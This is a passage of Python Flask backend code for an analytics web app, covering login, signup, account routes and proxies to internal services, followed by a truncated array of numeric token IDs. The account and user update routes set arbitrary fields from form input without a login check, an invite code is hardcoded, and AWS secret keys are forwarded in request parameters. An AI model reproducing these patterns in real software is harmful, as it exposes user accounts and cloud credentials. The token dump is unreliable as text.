methods=["POST"]) def notification_read(notificationId): """ Mark a notification as read GetParams: account: an account user: a user Returns: a json object conatining a list of saved queries """ account = session['user']['account']['id'] user = session['user']['id'] notification = Notification.query.filter(Notification.account_id == account, or_(Notification.user_id == user, Notification.user_id == None), Notification.id == notificationId).first() notification.markRead() db_session.add(notification) db_session.commit() return jsonify({ "notification": notification.dict() }) @app.route('/api/jaunt/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE']) @requiresLogin def jaunt(path): """ Forward a request to the jaunt service. No params or returns in this doc string as it is for the most part a passthrough method. """ args = dict(request.args.items()) form = dict(request.form.items()) method = request.method url = "".join([JAUNT_URL_FORMAT, path]) account = session['user']['account']['id'] user = session['user']['id'] args['account'] = account args['user'] = user form['account'] = account form['user'] = user accountObj = Account.query.filter(Account.id == account).first() awsKey = accountObj.access_key_id awsSecret = accountObj.access_key_secret s3Bucket = mixingboard.getConf("s3_bucket") args['awsKey'] = awsKey form['awsKey'] = awsKey args['awsSecret'] = awsSecret form['awsSecret'] = awsSecret args['s3Bucket'] = s3Bucket form['s3Bucket'] = s3Bucket args['warehouseDir'] = "/user/%s/shark/warehouse" % accountObj.iam_username form['warehouseDir'] = "/user/%s/shark/warehouse" % accountObj.iam_username res = getattr(requests, method.lower())(url, params=args, data=form) return res.text, res.status_code @app.route('/api/lego/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE']) @requiresLogin def lego(path): """ Forward a request to the lego service. No params or returns in this doc string as it is for the most part a passthrough method. """ args = dict(request.args.items()) form = dict(request.form.items()) method = request.method url = "".join([LEGO_URL_FORMAT, path]) account = session['user']['account']['id'] user = session['user']['id'] args['account'] = account args['user'] = user form['account'] = account form['user'] = user res = getattr(requests, method.lower())(url, params=args, data=form) return res.text, res.status_code @app.route('/api/shark/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE']) @requiresLogin def shark(path): """ Forward a request to the shark service. No params or returns in this doc string as it is for the most part a passthrough method. """ args = dict(request.args.items()) form = dict(request.form.items()) method = request.method url = "".join([SHARK_URL_FORMAT, path]) account = session['user']['account']['id'] user = session['user']['id'] args['account'] = account args['user'] = user form['account'] = account form['user'] = user res = getattr(requests, method.lower())(url, params=args, data=form) return res.text, res.status_code @app.route('/api/redshirt/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE']) @requiresLogin def redshirt(path): """ Forward a request to the redshirt service. No params or returns in this doc string as it is for the most part a passthrough method. """ args = dict(request.args.items()) form = dict(request.form.items()) method = request.method url = "".join([REDSHIRT_URL_FORMAT, path]) account = session['user']['account']['id'] user = session['user']['id'] args['account'] = account args['user'] = user form['account'] = account form['user'] = user res = getattr(requests, method.lower())(url, params=args, data=form) return res.text, res.status_code @app.route('/api/flint/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE']) @requiresLogin def flint(path): """ Forward a request to the redshirt service. No params or returns in this doc string as it is for the most part a passthrough method. """ args = dict(request.args.items()) form = dict(request.form.items()) method = request.method url = "".join([FLINT_URL_FORMAT, path]) account = session['user']['account']['id'] user = session['user']['id'] args['account'] = account args['user'] = user form['account'] = account form['user'] = user res = getattr(requests, method.lower())(url, params=args, data=form) return res.text, res.status_code @app.route('/api/account') @requiresLogin def account(): account = Account.query.filter(Account.id == session['user']['account_id']).first() return jsonify({ "account": account.dict() }) @app.route('/api/account/secret') @requiresLogin def account_secret(): account = Account.query.filter(Account.id == session['user']['account_id']).first() return jsonify({ "secret": account.iam_username }) @app.route('/api/account/storage') @requiresLogin def account_storage(): account = Account.query.filter(Account.id == session['user']['account_id']).first() return jsonify({ "storageUsed": account.getStorageUsage() }) @app.route('/api/account/users') @requiresLogin def account_users(): account = Account.query.filter(Account.id == session['user']['account_id']).first() users = [user.dict() for user in account.users] return jsonify({ "users": users }) @app.route('/api/user/me') @requiresLogin def user_me(): user = User.query.filter(User.id == session['user']['id']).first() session['user'] = user.dict() session['user']['account'] = user.account.dict() return jsonify({ "user": session['user'] }) INVITE_CODE = '3fYsq96iSquvmRsMTzkdg' @app.route('/api/signup', methods=['POST']) def signup(): name = request.form['name'] email = request.form['email'] password = request.form['password'] inviteCode = request.form['inviteCode'] organization = request.form['organization'] if inviteCode != INVITE_CODE: return jsonify({ "error": "Invalid invite code. If you were given an invite code, email <EMAIL> for help." }), 400 # FIXME allow users to be added to existing accounts account = Account(organization) db_session.add(account) db_session.commit() try: user = User(name=name, email=email, password=password, accountId=account.id) except Exception as e: return jsonify({ "error": e.message }), 400 db_session.add(user) db_session.commit() session['user'] = user.dict() session['user']['account'] = user.account.dict() return jsonify({ "user": user.dict() }) @app.route('/api/login', methods=['POST']) def login(): email = request.form['email'] password = request.form['password'] user = User.query.filter(User.email == email).first() if user is None: return jsonify({ "error": "No user exists with that email" }), 400 if user.checkPassword(password): session['user'] = user.dict() session['user']['account'] = user.account.dict() return jsonify({ "success": True, "message": "Successfully logged in", "user": session['user'] }) else: return jsonify({ "error": "Your password is incorrect" }), 400 @app.route('/api/account/update', methods=['POST']) def update_account(): """ Update an account """ account = Account.query.filter(Account.id == session['user']['account']['id']).first() for key, value in request.form.items(): setattr(account, key, value) db_session.add(account) db_session.commit() session['user']['account'] = account.dict() return jsonify({ "account": session['user']['account'] }) @app.route('/api/user/me/update', methods=['POST']) def update_user(): """ Update a user """ user = User.query.filter(User.id == session['user']['id']).first() for key, value in request.form.items(): setattr(user, key, value) db_session.add(user) db_session.commit() session['user'] = user.dict() session['user']['account'] = user.account.dict() return jsonify({ "user": session['user'] }) @app.route('/api/logout') def logout(): del session['user'] return redirect("/") @app.route('/<path:path>') def reroute(path): return redirect("/#/%s" % path) @app.route('/') def index(): user = session.get('user', 'null') if user != 'null': user = User.query.filter(User.id == session['user']['id']).first() if user: session['user'] = user.dict() session['user']['account'] = user.account.dict() session['user']['account']['users'] = [user.dict() for user in user.account.users] return render_template('base.html', user=json.dumps(session.get('user', None))) # setup shark configurations global SHARK_URL_FORMAT SHARK_URL_FORMAT = None def setSharkURLFormat(sharkServers): global SHARK_URL_FORMAT shark = sharkServers[0] SHARK_URL_FORMAT = "http://%s:%s/shark/" % (shark["host"], shark["port"]) logging.info("GOT SHARK SERVICE: %s" % SHARK_URL_FORMAT) mixingboard.discoverService("shark",setSharkURLFormat) # setup lego configurations global LEGO_URL_FORMAT LEGO_URL_FORMAT = None def setLegoURLFormat(legoServers): global LEGO_URL_FORMAT lego = legoServers[0] LEGO_URL_FORMAT = "http://%s:%s/lego/" % (lego["host"], lego["port"]) logging.info("GOT LEGO SERVICE: %s" % LEGO_URL_FORMAT) mixingboard.discoverService("lego",setLegoURLFormat) # setup jaunt configurations global JAUNT_URL_FORMAT JAUNT_URL_FORMAT = None def setJauntURLFormat(jauntServers): global JAUNT_URL_FORMAT jauntServer = jauntServers[0] JAUNT_URL_FORMAT = "http://%s:%s/jaunt/" % (jauntServer["host"], jauntServer["port"]) logging.info("GOT JAUNT SERVICE: %s" % JAUNT_URL_FORMAT) mixingboard.discoverService("jaunt",setJauntURLFormat) # setup redshirt configurations global REDSHIRT_URL_FORMAT REDSHIRT_URL_FORMAT = None def setSharkURLFormat(redShirtServers): global REDSHIRT_URL_FORMAT redShirt = redShirtServers[0] REDSHIRT_URL_FORMAT = "http://%s:%s/redshirt/" % (redShirt["host"], redShirt["port"]) logging.info("GOT REDSHIRT SERVICE: %s" % REDSHIRT_URL_FORMAT) mixingboard.discoverService("redshirt",setSharkURLFormat) # setup flint configurations global FLINT_URL_FORMAT FLINT_URL_FORMAT = None def setFlintURLFormat(flintServers): global FLINT_URL_FORMAT flint = flintServers[0] FLINT_URL_FORMAT = "http://%s:%s/flint/" % (flint["host"], flint["port"]) logging.info("GOT FLINT SERVICE: %s" % FLINT_URL_FORMAT) mixingboard.discoverService("flint",setFlintURLFormat) if __name__ == "__main__": mixingboard.exposeService("frontend", port=PORT) app.run(debug=DEBUG, port=PORT, host=HOST, threaded=True)
[ 1, 18787, 4855, 29914, 2109, 29914, 4691, 13, 13, 29937, 10117, 9538, 13, 5215, 1852, 5510, 13, 5215, 12865, 13, 5215, 4390, 13, 5215, 12183, 13, 5215, 2897, 13, 5215, 1014, 5014, 13, 3166, 2090, 312, 8789, 1053, 11463, 567, 13, 13, 29937, 18008, 9173, 13, 5215, 7274, 13, 5215, 24907, 3377, 13, 3166, 521, 465, 275, 29889, 9803, 1053, 4833, 29918, 7924, 13, 3166, 521, 465, 275, 29889, 9794, 1053, 4911, 29892, 16535, 29892, 17163, 20570, 29892, 28578, 29892, 25159, 13, 3166, 29784, 1053, 2379, 1278, 29892, 6684, 29892, 4390, 1598, 29892, 4050, 29918, 6886, 29892, 2009, 29892, 320, 13, 462, 29871, 4867, 29892, 3142, 29918, 1454, 13, 3166, 4576, 284, 305, 6764, 1053, 470, 29918, 13, 13, 29937, 9959, 13, 3166, 7882, 29889, 3396, 1053, 7882, 13, 13, 13, 29937, 6088, 6389, 13, 1191, 11726, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 6558, 278, 751, 279, 719, 1923, 29889, 1495, 13, 1191, 11726, 29889, 1202, 29918, 23516, 877, 29899, 29881, 742, 525, 489, 8382, 742, 3158, 2433, 8899, 29918, 3009, 742, 1371, 2433, 27407, 373, 4744, 4464, 1495, 13, 1191, 11726, 29889, 1202, 29918, 23516, 877, 29899, 29886, 742, 525, 489, 637, 742, 1134, 29922, 524, 29892, 2322, 29922, 29929, 29900, 29900, 29900, 29892, 1371, 2433, 2697, 278, 2011, 1495, 13, 1191, 11726, 29889, 1202, 29918, 23516, 877, 29899, 29950, 742, 525, 489, 3069, 742, 1134, 29922, 710, 29892, 2322, 2433, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 1371, 2433, 2697, 278, 2011, 1495, 13, 1191, 11726, 29889, 1202, 29918, 23516, 877, 489, 1217, 29899, 29879, 465, 742, 3158, 2433, 8899, 29918, 3009, 742, 1371, 2433, 4205, 519, 269, 465, 14835, 29914, 12344, 292, 1495, 13, 5085, 29892, 903, 353, 1852, 11726, 29889, 5510, 29918, 5203, 29918, 5085, 580, 13, 13, 29937, 1925, 6389, 297, 25182, 599, 26091, 3651, 13, 18525, 353, 6389, 29889, 8382, 13, 20832, 353, 6389, 29889, 3069, 13, 15082, 353, 6389, 29889, 637, 13, 6632, 29918, 8132, 1799, 353, 6389, 29889, 1217, 29918, 29879, 465, 13, 13, 13, 29937, 731, 701, 12183, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 21707, 29889, 842, 10108, 29898, 21027, 29889, 11690, 29897, 13, 13, 29937, 1369, 278, 269, 465, 6505, 261, 565, 4312, 13, 361, 21681, 322, 451, 11698, 29918, 8132, 1799, 29901, 13, 1678, 17927, 29889, 3888, 703, 4763, 292, 16698, 1799, 6505, 261, 856, 1159, 13, 1678, 3884, 353, 2897, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 370, 1028, 493, 22168, 1445, 1649, 876, 13, 1678, 1014, 5014, 29889, 29925, 3150, 703, 29879, 465, 1192, 12344, 448, 29880, 1273, 29879, 29914, 7959, 29914, 29879, 465, 29914, 3293, 29889, 29879, 465, 16664, 29879, 29914, 7959, 29914, 4268, 29914, 3293, 29889, 4268, 29908, 1273, 313, 12322, 29892, 3884, 511, 6473, 29922, 5574, 29897, 13, 13, 13, 29937, 1653, 29784, 623, 13, 932, 353, 2379, 1278, 22168, 978, 1649, 29892, 2294, 29918, 2271, 29918, 2084, 2433, 29914, 7959, 742, 2294, 29918, 12083, 2433, 6904, 7959, 1495, 13, 932, 29889, 19024, 29918, 1989, 353, 12801, 10818, 16299, 13, 932, 29889, 9573, 29918, 9539, 2158, 29898, 2754, 29892, 3142, 29918, 13506, 2433, 29914, 3571, 1495, 13, 13, 29992, 932, 29889, 4703, 29918, 26482, 13, 1753, 5712, 29918, 2271, 29918, 1454, 7295, 13, 1678, 736, 9657, 29898, 2271, 29918, 1454, 29922, 9715, 29918, 2271, 29918, 1454, 29897, 13, 13, 1753, 29797, 29918, 2271, 29918, 1454, 29898, 29734, 29892, 3579, 5975, 1125, 13, 1678, 565, 16248, 1275, 525, 7959, 2396, 13, 4706, 10422, 353, 1819, 29889, 657, 877, 9507, 742, 6213, 29897, 13, 4706, 565, 10422, 29901, 13, 9651, 934, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 932, 29889, 4632, 29918, 2084, 29892, 13, 462, 462, 268, 16248, 29892, 10422, 29897, 13, 9651, 1819, 1839, 29939, 2033, 353, 938, 29898, 359, 29889, 6112, 29898, 1445, 29918, 2084, 467, 303, 29918, 29885, 2230, 29897, 13, 1678, 736, 3142, 29918, 1454, 29898, 29734, 29892, 3579, 5975, 29897, 13, 13, 29992, 932, 29889, 371, 538, 776, 29918, 932, 4703, 13, 1753, 12522, 3204, 29918, 7924, 29898, 11739, 29922, 8516, 1125, 13, 4706, 4833, 29918, 7924, 29889, 5992, 580, 13, 13, 13, 29937, 10760, 6433, 13, 1753, 6858, 11049, 29898, 9144, 1125, 13, 1678, 732, 29893, 336, 567, 29898, 9144, 29897, 13, 1678, 822, 4817, 29137, 10456, 5085, 29892, 3579, 19290, 1125, 13, 4706, 565, 525, 1792, 29915, 297, 4867, 29901, 13, 9651, 736, 7876, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 4390, 1598, 3319, 13, 18884, 376, 2704, 1115, 376, 4013, 1158, 6858, 385, 15585, 630, 1404, 29908, 13, 9651, 500, 511, 29871, 29946, 29900, 29900, 13, 1678, 736, 4817, 29137, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 16211, 583, 29914, 29966, 9057, 1542, 29958, 1495, 13, 1753, 4955, 29898, 9057, 1542, 1125, 13, 1678, 9995, 13, 1678, 4649, 29878, 2418, 4982, 4955, 363, 263, 1404, 29914, 10149, 13, 13, 1678, 3617, 9629, 29901, 13, 4706, 3633, 29901, 385, 3633, 13, 4706, 1404, 29901, 263, 1404, 13, 1678, 16969, 29901, 13, 4706, 263, 4390, 1203, 378, 271, 2827, 263, 1051, 310, 7160, 9365, 13, 1678, 9995, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 9210, 353, 938, 29898, 3827, 29889, 5085, 29889, 657, 703, 10289, 613, 29900, 876, 13, 1678, 2302, 353, 938, 29898, 3827, 29889, 5085, 29889, 657, 703, 2798, 613, 29906, 29900, 876, 13, 13, 1678, 396, 14402, 2758, 21166, 304, 5375, 1404, 13, 1678, 3603, 583, 353, 5159, 13, 1678, 363, 4955, 297, 17163, 20570, 29889, 1972, 29889, 4572, 29898, 11947, 20570, 29889, 10149, 29918, 333, 1275, 3633, 29892, 17163, 20570, 29889, 9057, 29918, 1853, 1360, 9057, 1542, 29897, 320, 13, 462, 4706, 869, 2098, 29918, 1609, 29898, 11947, 20570, 29889, 11600, 29889, 14273, 16655, 13400, 29898, 2798, 467, 10289, 29898, 10289, 1125, 13, 4706, 3603, 583, 29889, 4397, 29898, 18434, 29889, 8977, 3101, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 16211, 583, 1115, 3603, 583, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1333, 8232, 1495, 13, 1753, 25913, 7295, 13, 1678, 9995, 13, 1678, 4649, 29878, 2418, 25913, 363, 263, 1404, 29914, 10149, 13, 13, 1678, 3617, 9629, 29901, 13, 4706, 3633, 29901, 385, 3633, 13, 4706, 1404, 29901, 263, 1404, 13, 1678, 16969, 29901, 13, 4706, 263, 4390, 1203, 378, 271, 2827, 263, 1051, 310, 7160, 9365, 13, 1678, 9995, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 9210, 353, 938, 29898, 3827, 29889, 5085, 29889, 657, 703, 10289, 613, 29900, 876, 13, 1678, 2302, 353, 938, 29898, 3827, 29889, 5085, 29889, 657, 703, 2798, 613, 29906, 29900, 876, 13, 13, 1678, 396, 14402, 2758, 21166, 304, 5375, 1404, 13, 1678, 25913, 353, 5159, 13, 1678, 363, 12519, 297, 28578, 29889, 1972, 29889, 4572, 29898, 12958, 29889, 10149, 29918, 333, 1275, 3633, 29892, 470, 23538, 12958, 29889, 1792, 29918, 333, 1275, 1404, 29892, 13, 462, 4706, 28578, 29889, 1792, 29918, 333, 1275, 6213, 511, 28578, 29889, 949, 1275, 6213, 29897, 320, 13, 462, 4706, 869, 2098, 29918, 1609, 29898, 12958, 29889, 11600, 29889, 14273, 16655, 13400, 29898, 2798, 467, 10289, 29898, 10289, 1125, 13, 4706, 25913, 29889, 4397, 29898, 24671, 29889, 8977, 3101, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 1333, 8232, 1115, 25913, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 24671, 29914, 29966, 24671, 1204, 20690, 949, 742, 3519, 29922, 3366, 5438, 20068, 13, 1753, 12519, 29918, 949, 29898, 24671, 1204, 1125, 13, 1678, 9995, 13, 1678, 4485, 263, 12519, 408, 1303, 13, 13, 1678, 3617, 9629, 29901, 13, 4706, 3633, 29901, 385, 3633, 13, 4706, 1404, 29901, 263, 1404, 13, 1678, 16969, 29901, 13, 4706, 263, 4390, 1203, 378, 271, 2827, 263, 1051, 310, 7160, 9365, 13, 1678, 9995, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 13, 1678, 12519, 353, 28578, 29889, 1972, 29889, 4572, 29898, 12958, 29889, 10149, 29918, 333, 1275, 3633, 29892, 470, 23538, 12958, 29889, 1792, 29918, 333, 1275, 1404, 29892, 13, 462, 4706, 28578, 29889, 1792, 29918, 333, 1275, 6213, 511, 28578, 29889, 333, 1275, 12519, 1204, 467, 4102, 580, 13, 1678, 12519, 29889, 3502, 6359, 580, 13, 1678, 4833, 29918, 7924, 29889, 1202, 29898, 24671, 29897, 13, 1678, 4833, 29918, 7924, 29889, 15060, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 24671, 1115, 12519, 29889, 8977, 580, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1764, 1657, 29914, 29966, 2084, 29901, 2084, 29958, 742, 3519, 29922, 1839, 7194, 742, 525, 5438, 742, 525, 12336, 742, 525, 2287, 18476, 11287, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 12337, 1657, 29898, 2084, 1125, 13, 1678, 9995, 13, 1678, 1152, 1328, 263, 2009, 304, 278, 12337, 1657, 2669, 29889, 1939, 8636, 470, 13, 1678, 3639, 297, 445, 1574, 1347, 408, 372, 338, 363, 278, 1556, 760, 263, 13, 1678, 2331, 303, 1092, 820, 1158, 29889, 13, 1678, 9995, 13, 13, 1678, 6389, 353, 9657, 29898, 3827, 29889, 5085, 29889, 7076, 3101, 13, 1678, 883, 353, 9657, 29898, 3827, 29889, 689, 29889, 7076, 3101, 13, 1678, 1158, 353, 2009, 29889, 5696, 13, 13, 1678, 3142, 353, 376, 1642, 7122, 4197, 29967, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 29892, 2224, 2314, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 6389, 1839, 10149, 2033, 353, 3633, 13, 1678, 6389, 1839, 1792, 2033, 353, 1404, 29871, 13, 1678, 883, 1839, 10149, 2033, 353, 3633, 13, 1678, 883, 1839, 1792, 2033, 353, 1404, 13, 268, 13, 1678, 3633, 9930, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 3633, 467, 4102, 580, 13, 1678, 25879, 2558, 353, 3633, 9930, 29889, 5943, 29918, 1989, 29918, 333, 13, 1678, 25879, 28459, 353, 3633, 9930, 29889, 5943, 29918, 1989, 29918, 19024, 13, 13, 1678, 269, 29941, 29933, 2707, 300, 353, 24907, 3377, 29889, 657, 16376, 703, 29879, 29941, 29918, 21454, 1159, 13, 13, 1678, 6389, 1839, 10467, 2558, 2033, 353, 25879, 2558, 13, 1678, 883, 1839, 10467, 2558, 2033, 353, 25879, 2558, 13, 1678, 6389, 1839, 10467, 28459, 2033, 353, 25879, 28459, 13, 1678, 883, 1839, 10467, 28459, 2033, 353, 25879, 28459, 13, 1678, 6389, 1839, 29879, 29941, 29933, 2707, 300, 2033, 353, 269, 29941, 29933, 2707, 300, 13, 1678, 883, 1839, 29879, 29941, 29933, 2707, 300, 2033, 353, 269, 29941, 29933, 2707, 300, 13, 1678, 6389, 1839, 2519, 8697, 9170, 2033, 353, 5591, 1792, 22584, 29879, 29914, 845, 935, 29914, 2519, 8697, 29908, 1273, 3633, 9930, 29889, 2829, 29918, 6786, 13, 1678, 883, 1839, 2519, 8697, 9170, 2033, 353, 5591, 1792, 22584, 29879, 29914, 845, 935, 29914, 2519, 8697, 29908, 1273, 3633, 9930, 29889, 2829, 29918, 6786, 13, 13, 1678, 620, 353, 679, 5552, 29898, 24830, 29892, 1158, 29889, 13609, 3101, 29898, 2271, 29892, 8636, 29922, 5085, 29892, 848, 29922, 689, 29897, 13, 13, 1678, 736, 620, 29889, 726, 29892, 620, 29889, 4882, 29918, 401, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1397, 29877, 29914, 29966, 2084, 29901, 2084, 29958, 742, 3519, 29922, 1839, 7194, 742, 525, 5438, 742, 525, 12336, 742, 525, 2287, 18476, 11287, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 454, 1484, 29898, 2084, 1125, 13, 1678, 9995, 13, 1678, 1152, 1328, 263, 2009, 304, 278, 454, 1484, 2669, 29889, 1939, 8636, 470, 13, 1678, 3639, 297, 445, 1574, 1347, 408, 372, 338, 363, 278, 1556, 760, 263, 13, 1678, 2331, 303, 1092, 820, 1158, 29889, 13, 1678, 9995, 13, 13, 1678, 6389, 353, 9657, 29898, 3827, 29889, 5085, 29889, 7076, 3101, 13, 1678, 883, 353, 9657, 29898, 3827, 29889, 689, 29889, 7076, 3101, 13, 1678, 1158, 353, 2009, 29889, 5696, 13, 13, 1678, 3142, 353, 376, 1642, 7122, 4197, 1307, 17080, 29918, 4219, 29918, 19094, 1299, 29892, 2224, 2314, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 6389, 1839, 10149, 2033, 353, 3633, 13, 1678, 6389, 1839, 1792, 2033, 353, 1404, 29871, 13, 1678, 883, 1839, 10149, 2033, 353, 3633, 13, 1678, 883, 1839, 1792, 2033, 353, 1404, 13, 268, 13, 1678, 620, 353, 679, 5552, 29898, 24830, 29892, 1158, 29889, 13609, 3101, 29898, 2271, 29892, 8636, 29922, 5085, 29892, 848, 29922, 689, 29897, 13, 13, 1678, 736, 620, 29889, 726, 29892, 620, 29889, 4882, 29918, 401, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 845, 935, 29914, 29966, 2084, 29901, 2084, 29958, 742, 3519, 29922, 1839, 7194, 742, 525, 5438, 742, 525, 12336, 742, 525, 2287, 18476, 11287, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 528, 935, 29898, 2084, 1125, 13, 1678, 9995, 13, 1678, 1152, 1328, 263, 2009, 304, 278, 528, 935, 2669, 29889, 1939, 8636, 470, 13, 1678, 3639, 297, 445, 1574, 1347, 408, 372, 338, 363, 278, 1556, 760, 263, 13, 1678, 2331, 303, 1092, 820, 1158, 29889, 13, 1678, 9995, 13, 13, 1678, 6389, 353, 9657, 29898, 3827, 29889, 5085, 29889, 7076, 3101, 13, 1678, 883, 353, 9657, 29898, 3827, 29889, 689, 29889, 7076, 3101, 13, 1678, 1158, 353, 2009, 29889, 5696, 13, 13, 1678, 3142, 353, 376, 1642, 7122, 4197, 7068, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 29892, 2224, 2314, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 6389, 1839, 10149, 2033, 353, 3633, 13, 1678, 6389, 1839, 1792, 2033, 353, 1404, 29871, 13, 1678, 883, 1839, 10149, 2033, 353, 3633, 13, 1678, 883, 1839, 1792, 2033, 353, 1404, 13, 268, 13, 1678, 620, 353, 679, 5552, 29898, 24830, 29892, 1158, 29889, 13609, 3101, 29898, 2271, 29892, 8636, 29922, 5085, 29892, 848, 29922, 689, 29897, 13, 13, 1678, 736, 620, 29889, 726, 29892, 620, 29889, 4882, 29918, 401, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1127, 845, 2728, 29914, 29966, 2084, 29901, 2084, 29958, 742, 3519, 29922, 1839, 7194, 742, 525, 5438, 742, 525, 12336, 742, 525, 2287, 18476, 11287, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 2654, 845, 2728, 29898, 2084, 1125, 13, 1678, 9995, 13, 1678, 1152, 1328, 263, 2009, 304, 278, 2654, 845, 2728, 2669, 29889, 1939, 8636, 470, 13, 1678, 3639, 297, 445, 1574, 1347, 408, 372, 338, 363, 278, 1556, 760, 263, 13, 1678, 2331, 303, 1092, 820, 1158, 29889, 13, 1678, 9995, 13, 13, 1678, 6389, 353, 9657, 29898, 3827, 29889, 5085, 29889, 7076, 3101, 13, 1678, 883, 353, 9657, 29898, 3827, 29889, 689, 29889, 7076, 3101, 13, 1678, 1158, 353, 2009, 29889, 5696, 13, 13, 1678, 3142, 353, 376, 1642, 7122, 4197, 19386, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 29892, 2224, 2314, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 6389, 1839, 10149, 2033, 353, 3633, 13, 1678, 6389, 1839, 1792, 2033, 353, 1404, 13, 1678, 883, 1839, 10149, 2033, 353, 3633, 13, 1678, 883, 1839, 1792, 2033, 353, 1404, 13, 13, 1678, 620, 353, 679, 5552, 29898, 24830, 29892, 1158, 29889, 13609, 3101, 29898, 2271, 29892, 8636, 29922, 5085, 29892, 848, 29922, 689, 29897, 13, 13, 1678, 736, 620, 29889, 726, 29892, 620, 29889, 4882, 29918, 401, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1579, 524, 29914, 29966, 2084, 29901, 2084, 29958, 742, 3519, 29922, 1839, 7194, 742, 525, 5438, 742, 525, 12336, 742, 525, 2287, 18476, 11287, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 1652, 524, 29898, 2084, 1125, 13, 1678, 9995, 13, 1678, 1152, 1328, 263, 2009, 304, 278, 2654, 845, 2728, 2669, 29889, 1939, 8636, 470, 13, 1678, 3639, 297, 445, 1574, 1347, 408, 372, 338, 363, 278, 1556, 760, 263, 13, 1678, 2331, 303, 1092, 820, 1158, 29889, 13, 1678, 9995, 13, 13, 1678, 6389, 353, 9657, 29898, 3827, 29889, 5085, 29889, 7076, 3101, 13, 1678, 883, 353, 9657, 29898, 3827, 29889, 689, 29889, 7076, 3101, 13, 1678, 1158, 353, 2009, 29889, 5696, 13, 13, 1678, 3142, 353, 376, 1642, 7122, 4197, 10536, 10192, 29918, 4219, 29918, 19094, 1299, 29892, 2224, 2314, 13, 13, 1678, 3633, 353, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 13, 1678, 1404, 353, 4867, 1839, 1792, 16215, 333, 2033, 13, 1678, 6389, 1839, 10149, 2033, 353, 3633, 13, 1678, 6389, 1839, 1792, 2033, 353, 1404, 13, 1678, 883, 1839, 10149, 2033, 353, 3633, 13, 1678, 883, 1839, 1792, 2033, 353, 1404, 13, 13, 1678, 620, 353, 679, 5552, 29898, 24830, 29892, 1158, 29889, 13609, 3101, 29898, 2271, 29892, 8636, 29922, 5085, 29892, 848, 29922, 689, 29897, 13, 13, 1678, 736, 620, 29889, 726, 29892, 620, 29889, 4882, 29918, 401, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 10149, 1495, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 3633, 7295, 13, 13, 1678, 3633, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 4867, 1839, 1792, 16215, 10149, 29918, 333, 2033, 467, 4102, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 10149, 1115, 3633, 29889, 8977, 580, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 10149, 29914, 19024, 1495, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 3633, 29918, 19024, 7295, 13, 13, 1678, 3633, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 4867, 1839, 1792, 16215, 10149, 29918, 333, 2033, 467, 4102, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 19024, 1115, 3633, 29889, 2829, 29918, 6786, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 10149, 29914, 12925, 1495, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 3633, 29918, 